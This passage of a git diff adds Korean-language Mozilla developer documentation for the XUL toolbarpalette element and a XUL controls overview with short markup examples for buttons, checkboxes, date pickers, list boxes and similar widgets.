+ <a href="#Examples">예제</a> |
+ <a href="#Attributes">Attributes</a> |
+ <a href="#Properties">Properties</a> |
+ <a href="#Methods">Methods</a> |
+ <a href="#Related">관련 항목</a> ]
+</span></div>
+<p><b><span class="highlightred">Firefox only</span></b></p>
+<p><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>에 넣을 수 있는 항목들의 팔레트입니다. 이 요소는 직접 출력되지 않으며, 대신 도구 모음 설정 대화창의 항목들로 출력됩니다. <code>toolbarpalette</code>의 자식 요소들은 툴바에 포함될 수 있는 <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>과 <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code> 이어야 합니다. 여백 항목은 자동적으로 포함되기 때문에 직접 추가하면 안됩니다.</p>
+<p><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code>가 <code>BrowserToolbarPalette</code>인 <code>toolbarpalette</code>를 <code><a href="/ko/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>내에 포함하여 Firefox 브라우저에 사용자 정의 버튼을 추가할 수 있습니다.</p>
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+<p>(example needed)</p>
+<h3 id="Attributes" name="Attributes">Attributes</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Inherited from XUL element</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table><p></p>
+<h3 id="Properties" name="Properties">Properties</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>XUL 요소에서 상속됨</strong><br> <small> <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/ko/docs/XUL/Property/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+<h3 id="Methods" name="Methods">Methods</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>XUL 요소에서 상속됨</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>DOM 요소에서 상속됨</strong><br> <small> <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+<h3 id=".EA.B4.80.EB.A0.A8_.ED.95.AD.EB.AA.A9" name=".EA.B4.80.EB.A0.A8_.ED.95.AD.EB.AA.A9">관련 항목</h3>
+<dl>
+ <dt>
+  Elements</dt>
+ <dd>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></dd>
+</dl>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_controls/index.html b/files/ko/mozilla/tech/xul/xul_controls/index.html
new file mode 100644
index 0000000000..fbafdfac68
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_controls/index.html
@@ -0,0 +1,548 @@
+---
+title: XUL controls
+slug: Mozilla/Tech/XUL/XUL_controls
+tags:
+  - XUL
+translation_of: Archive/Mozilla/XUL/XUL_controls
+---
+<p>아래의 표는 <a href="/ko/XUL" title="ko/XUL">XUL</a>에서 제공하는 사용자 인터페이스 컨트롤들의 목록입니다. 컨트롤들의 단계별 사용 방법은 <a href="/ko/XUL_Tutorial" title="ko/XUL_Tutorial">XUL Tutorial</a>을, 레퍼런스 정보는 <a href="/ko/XUL_Reference" title="ko/XUL_Reference">XUL Reference</a>를 참고하세요.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong>&lt;button&gt;</strong>
+
+    <p>사용자가 누를 수 있는 버튼.</p>
+
+    <pre>
+&lt;button label="Save" accesskey="S"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Adding_Buttons" title="ko/XUL_Tutorial/Adding_Buttons">버튼 요소에 대한 좀더 많은 정보</a>.</li>
+     <li><a href="/ko/XUL/button" title="ko/XUL/button">버튼 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;button type="menu"&gt;</strong>
+    <p>드롭다운 메뉴가 붙은 버튼. 버튼을 누르면 메뉴가 열립니다.</p>
+
+    <pre>
+&lt;button type="menu" label="View"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="List"/&gt;
+    &lt;menuitem label="Details"/&gt;
+  &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/More_Button_Features#Button_with_menupopup" title="ko/XUL_Tutorial/More_Button_Features#Button_with_menupopup">메뉴 버튼 요소의 유형에 대한 좀더 많은 정보</a>.</li>
+     <li><a href="/ko/XUL/button" title="ko/XUL/button">버튼 레퍼런스</a></li>
+     <li>관련 요소: <code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;button type="menu-button"&gt;</strong>
+    <p>메뉴가 붙은 별도의 화살표 버튼이 있는 버튼. '<code>menu</code>' 유형과 달리 버튼의 메인 부분을 눌렀을 때 다른 행위를 수행할 수 있습니다.</p>
+
+    <pre>
+&lt;button type="menu-button" label="New"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="New Document"/&gt;
+    &lt;menuitem label="New Image"/&gt;
+  &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/More_Button_Features#Button_with_menupopup" title="ko/XUL_Tutorial/More_Button_Features#Button_with_menupopup">메뉴 버튼 요소의 유형에 대한 좀더 많은 정보</a>.</li>
+     <li><a href="/ko/XUL/button" title="ko/XUL/button">버튼 레퍼런스</a></li>
+     <li>관련 요소: <code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></li>
+    </ul>
+   </td>
+   <td><span class="comment"><a href="/ko/Image/Controlsguide-button-menubutton.png">Image:Controlsguide-button-menubutton.png</a></span></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;checkbox&gt;</strong>
+    <p>켜거나 끌 수 있는 컨트롤로, 일반적으로 가능 혹은 불가능할 수 있는 옵션을 만드는데 사용됩니다.</p>
+
+    <pre>
+&lt;checkbox label="Show Toolbar Labels" checked="true"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Elements" title="ko/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Elements">체크박스 요소에 대한 좀더 많은 정보</a>.</li>
+     <li><a href="/ko/XUL/checkbox" title="ko/XUL/checkbox">체크박스 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;colorpicker&gt;</strong>
+    <p>색을 선택하는데 사용하는 컨트롤.</p>
+
+    <pre>
+&lt;colorpicker color="#FF0000"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/colorpicker" title="ko/XUL/colorpicker">색선택기(colorpicker) 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td><span class="comment"><a href="/ko/Image/Controlsguide-colorpicker.png">Image:Controlsguide-colorpicker.png</a></span></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;colorpicker type="button"&gt;</strong>
+    <p>버튼만 있는 특수한 색 선택기로, 버튼이 눌려지면 색을 선택할 수 있는 팝업이 출력됩니다.</p>
+
+    <pre>
+&lt;colorpicker type="button" color="#CC0080"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/colorpicker" title="ko/XUL/colorpicker">색선택기(colorpicker) 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;datepicker&gt;</strong>
+
+
+    <p>날짜 입력에 사용할 수 있는 텍스트박스 집합.</p>
+
+    <pre>
+&lt;datepicker value="2007/03/26"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/datepicker" title="ko/XUL/datepicker">날짜선택기(datepicker) 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;datepicker type="grid"&gt;</strong>
+
+
+    <p>날짜를 선택할 수 있는 달력이 출력되는 형태의 날짜선택기(datepicker).</p>
+
+    <pre>
+&lt;datepicker type="grid" value="2007/02/20"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/datepicker" title="ko/XUL/datepicker">날짜선택기(datepicker) 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;datepicker type="popup" &gt;</strong>
+
+
+    <p>날짜를 입력할 수 있는 텍스트박스와 함께 달력 팝업을 출력할 수 있는 버튼이 같이 있는 날짜 선택기.</p>
+
+    <pre>
+&lt;datepicker type="popup" value="2008/08/24"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL/datepicker" title="ko/XUL/datepicker">날짜선택기(datepicker) 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;description&gt;</strong>
+    <p>긴 문장의 텍스트를 출력하는데 사용되는 요소</p>
+
+    <pre>
+&lt;description&gt;
+  Select a time for the event to start
+&lt;/description&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Adding_Labels_and_Images#Description_Element" title="ko/XUL_Tutorial/Adding_Labels_and_Images#Description_Element">description 요소에 대한 자세한 정보</a>.</li>
+     <li><a href="/ko/XUL/description" title="ko/XUL/description">description 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;groupbox&gt;</strong>
+    <p>다른 사용자 인터페이스 컨트롤들을 포함하는 제목이 있는 상자 요소</p>
+
+    <pre>
+&lt;groupbox&gt;
+  &lt;caption label="Network"/&gt;
+&lt;/groupbox&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Groupboxes" title="ko/XUL_Tutorial/Groupboxes">groupbox 요소에 대한 자세한 정보</a>.</li>
+     <li><a href="/ko/XUL/groupbox" title="ko/XUL/groupbox">Groupbox 레퍼런스</a></li>
+     <li>관련 요소: <code><a href="/ko/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;image&gt;</strong>
+    <p>URL로 지정한 이미지</p>
+
+    <pre>
+&lt;image src="start.png"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Adding_Labels_and_Images#Images" title="ko/XUL_Tutorial/Adding_Labels_and_Images#Images">image 요소에 대한 자세한 정보</a>.</li>
+     <li><a href="/ko/XUL/image" title="ko/XUL/image">Image 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;label&gt;</strong>
+    <p>label은 특정 컨트롤의 제목을 출력하기 위해 사용됩니다.</p>
+
+    <pre>
+&lt;label control="volume" value="Volume:"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Adding_Labels_and_Images#Label_Element" title="ko/XUL_Tutorial/Adding_Labels_and_Images#Label_Element">label 요소에 대한 자세한 정보</a>.</li>
+     <li><a href="/ko/XUL/label" title="ko/XUL/label">Label 레퍼런스</a></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;listbox&gt;</strong>
+    <p>listbox는 라벨이 달린 항목 중 하나를 선택하는데 사용됩니다.</p>
+
+    <pre>
+&lt;listbox&gt;
+  &lt;listitem label="Chocolate"/&gt;
+  &lt;listitem label="Jelly Beans"/&gt;
+&lt;/listbox&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/List_Controls#List_Boxes" title="ko/XUL_Tutorial/List_Controls#List_Boxes">listbox 요소에 대한 자세한 정보</a>.</li>
+     <li><a href="/ko/XUL/listbox" title="ko/XUL/listbox">Listbox 레퍼런스</a></li>
+     <li>관련 요소: <code><a href="/ko/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;menulist&gt;</strong>
+    <p>A menulist (or combobox) is used to create a control with a drop down to select a value.</p>
+
+    <pre>
+&lt;menulist&gt;
+  &lt;menupopup&gt;
+    &lt;menulist label="Lions" value="l"/&gt;
+    &lt;menuitem label="Tigers" value="t"/&gt;
+    &lt;menuitem label="Bears" value="b"/&gt;
+  &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/List_Controls#Drop-down_Lists" title="ko/XUL_Tutorial/List_Controls#Drop-down_Lists">More information about the menulist element</a>.</li>
+     <li><a href="/ko/XUL/menulist" title="ko/XUL/menulist">Menulist Reference</a></li>
+     <li>Related Elements: <code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;menulist editable="true"&gt;</strong>
+    <p>An editable menulist is like a standard menulist except that the selected value is displayed in a textbox where it may be modified directly or values not in the popup list may be entered.</p>
+
+    <pre>
+&lt;menulist editable="true"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="Elephants" value="Elephants"/&gt;
+    &lt;menuitem label="Kangaroos" value="Kangaroos"/&gt;
+    &lt;menuitem label="Bats" value="Bats"/&gt;
+  &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/List_Controls#Editable_menulist" title="ko/XUL_Tutorial/List_Controls#Editable_menulist">More information about the editable menulist element</a>.</li>
+     <li><a href="/ko/XUL/menulist" title="ko/XUL/menulist">Menulist Reference</a></li>
+     <li>Related Elements: <code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></li>
+    </ul>
+   </td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>&lt;progressmeter&gt;</strong>
+    <p>A progress meter is used to display the progress of a lengthy task.</p>
+
+    <pre>
+&lt;progressmeter value="40"/&gt;
+</pre>
+
+    <ul>
+     <li><a href="/ko/XUL_Tutorial/Progress_Meters" title="ko/XUL_Tutorial/Progress_Meters">More information about the progressmeter element</a>.</li>
